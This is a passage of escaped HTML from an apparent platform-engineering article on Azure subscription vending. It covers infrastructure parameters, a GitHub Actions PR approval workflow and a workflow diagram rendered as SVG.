style=\"color:#e6db74\"\u003e\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  params: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    subscriptionAliasEnabled: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    subscriptionDisplayName: subscriptionDisplayName\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    subscriptionAliasName: subscriptionDisplayName\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    subscriptionBillingScope: billingScope\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    subscriptionManagementGroupId: targetManagementGroupId\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    virtualNetworkEnabled: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    virtualNetworkAddressSpace: [vnetAddressPrefix]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    hubNetworkResourceId: hubVnetResourceId\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"pr-approval-workflow\"\u003ePR Approval Workflow\u003c/h2\u003e\n\u003cp\u003eThe workflow uses GitHub Actions to validate requests before they reach a platform engineer.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eValidation Stage:\u003c/strong\u003e\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eSchema Check\u003c/strong\u003e: Validates the YAML request.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCIDR Overlap\u003c/strong\u003e: Checks \u003ccode\u003eipam.yaml\u003c/code\u003e to ensure no address space conflicts.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePlan Preview\u003c/strong\u003e: Posts the \u003ccode\u003eterraform plan\u003c/code\u003e output as a PR comment.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eApply Stage:\u003c/strong\u003e\nExecutes the deployment only after the PR is merged to \u003ccode\u003emain\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eFixing GHA Path Parsing:\u003c/strong\u003e\nEnsure your GitHub Script correctly parses multiline file lists:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-javascript\" data-lang=\"javascript\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e// Correct regex splitting for multiline git diff output\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003econst\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003efiles\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;${{ steps.changed.outputs.files }}\u0026#39;\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003esplit\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e/\\s+/\u003c/span\u003e).\u003cspan style=\"color:#a6e22e\"\u003efilter\u003c/span\u003e(Boolean);\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n  \n    \u003csvg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      font-family=\"Menlo,Lucida Console,monospace\"\n      \n        viewBox=\"0 0 632 825\"\n      \u003e\n      \u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 32,0 L 160,0' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 272,0 L 392,0' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,32 L 96,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 96,32 L 160,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 272,32 L 328,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 328,32 L 392,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 96,80 L 320,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,112 L 320,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,112 L 616,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,160 L 320,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,160 L 592,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,192 L 328,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 328,192 L 592,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,256 L 592,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,288 L 328,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 328,288 L 592,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,320 L 320,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,320 L 616,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 256,384 L 400,384' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 256,416 L 328,416' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 328,416 L 400,416' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,480 L 320,480' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,480 L 616,480' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,528 L 320,528' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,528 L 592,528' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,560 L 328,560' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 328,560 L 592,560' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,592 L 320,592' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,592 L 592,592' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,624 L 328,624' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 328,624 L 592,624' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,656 L 320,656' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,656 L 592,656' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,688 L 328,688' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 328,688 L 592,688' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,720 L 320,720' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,720 L 616,720' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 256,768 L 400,768' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 256,800 L 400,800' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,0 L 32,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,112 L 32,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,480 L 32,720' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,160 L 56,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,256 L 56,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,528 L 56,560' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,592 L 56,624' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,656 L 56,688' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 96,32 L 96,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 160,0 L 160,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 256,384 L 256,416' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 256,768 L 256,800' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 272,0 L 272,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 328,32 L 328,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 328,144 L 328,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 328,192 L 328,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 328,288 L 328,368' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 328,416 L 328,464' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 328,464 L 328,480' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 328,512 L 328,528' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 328,560 L 328,592' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 328,624 L 328,656' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 328,688 L 328,752' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 392,0 L 392,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 400,384 L 400,416' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 400,768 L 400,800' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 592,160 L 592,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 592,256 L 592,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 592,528 L 592,560' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 592,592 L 592,624' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 592,656 L 592,688' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 616,112 L 616,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 616,480 L 616,720' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='328.000000,80.000000 316.000000,74.400002 316.000000,85.599998' fill='currentColor' transform='rotate(0.000000, 320.000000, 80.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='336.000000,160.000000 324.000000,154.399994 324.000000,165.600006' fill='currentColor' transform='rotate(90.000000, 328.000000, 160.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 328,240 L 328,248' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='344.000000,240.000000 332.000000,234.399994 332.000000,245.600006' fill='currentColor' transform='rotate(90.000000, 328.000000, 240.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 328,368 L 328,376' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='344.000000,368.000000 332.000000,362.399994 332.000000,373.600006' fill='currentColor' transform='rotate(90.000000, 328.000000, 368.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='336.000000,464.000000 324.000000,458.399994 324.000000,469.600006' fill='currentColor' transform='rotate(90.000000, 328.000000, 464.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='336.000000,528.000000 324.000000,522.400024 324.000000,533.599976' fill='currentColor' transform='rotate(90.000000, 328.000000, 528.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='336.000000,592.000000 324.000000,586.400024 324.000000,597.599976' fill='currentColor' transform='rotate(90.000000, 328.000000, 592.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='336.000000,656.000000 324.000000,650.400024 324.000000,661.599976' fill='currentColor' transform='rotate(90.000000, 328.000000, 656.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 328,752 L 328,760' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='344.000000,752.000000 332.000000,746.400024 332.000000,757.599976' fill='currentColor' transform='rotate(90.000000, 328.000000, 752.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='48' y='20' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='20' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='20' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='68' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='20' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='68' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='68' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='68' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='20' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='68' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='68' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='68' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='68' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='180' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='276' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='132' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='180' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='276' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='500' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='132' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='180' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='276' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='500' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='548' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='676' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='276' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='500' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='548' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='676' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='180' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='276' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='500' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='548' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='612' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='676' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='132' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='276' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='500' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='548' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='612' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='676' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='276' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='404' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='548' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='612' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='676' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='180' fill='currentColor' style='font-size:1em'\u003e\u0026amp;\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='276' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='404' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='500' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='548' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='612' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='20' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='276' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='404' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='500' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='676' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='788' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='20' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='180' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='404' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='500' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='548' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='612' fill='currentColor' style='font-size:1em'\u003e\u0026amp;\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='676' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='788' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='180' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='276' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='404' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='500' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='548' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='676' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='788' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='180' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='276' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='404' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='500' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='548' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='612' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='676' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='788' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='132' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='180' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='276' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='404' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='500' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='548' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='612' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='676' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='788' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='20' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='276' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='404' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='500' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='548' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='612' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='676' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='788' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='132' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='180' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='500' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='548' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='612' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='20' fill='currentColor' style='font-size:1em'\u003eq\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='228' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='276' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='356' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='404' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='452' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='500' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='548' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='612' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='676' fill='currentColor' style='font-size:1em'\u003e\u0026amp;\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='788' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='20' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='132' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='180' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='228' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='356' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='404' fill='currentColor' 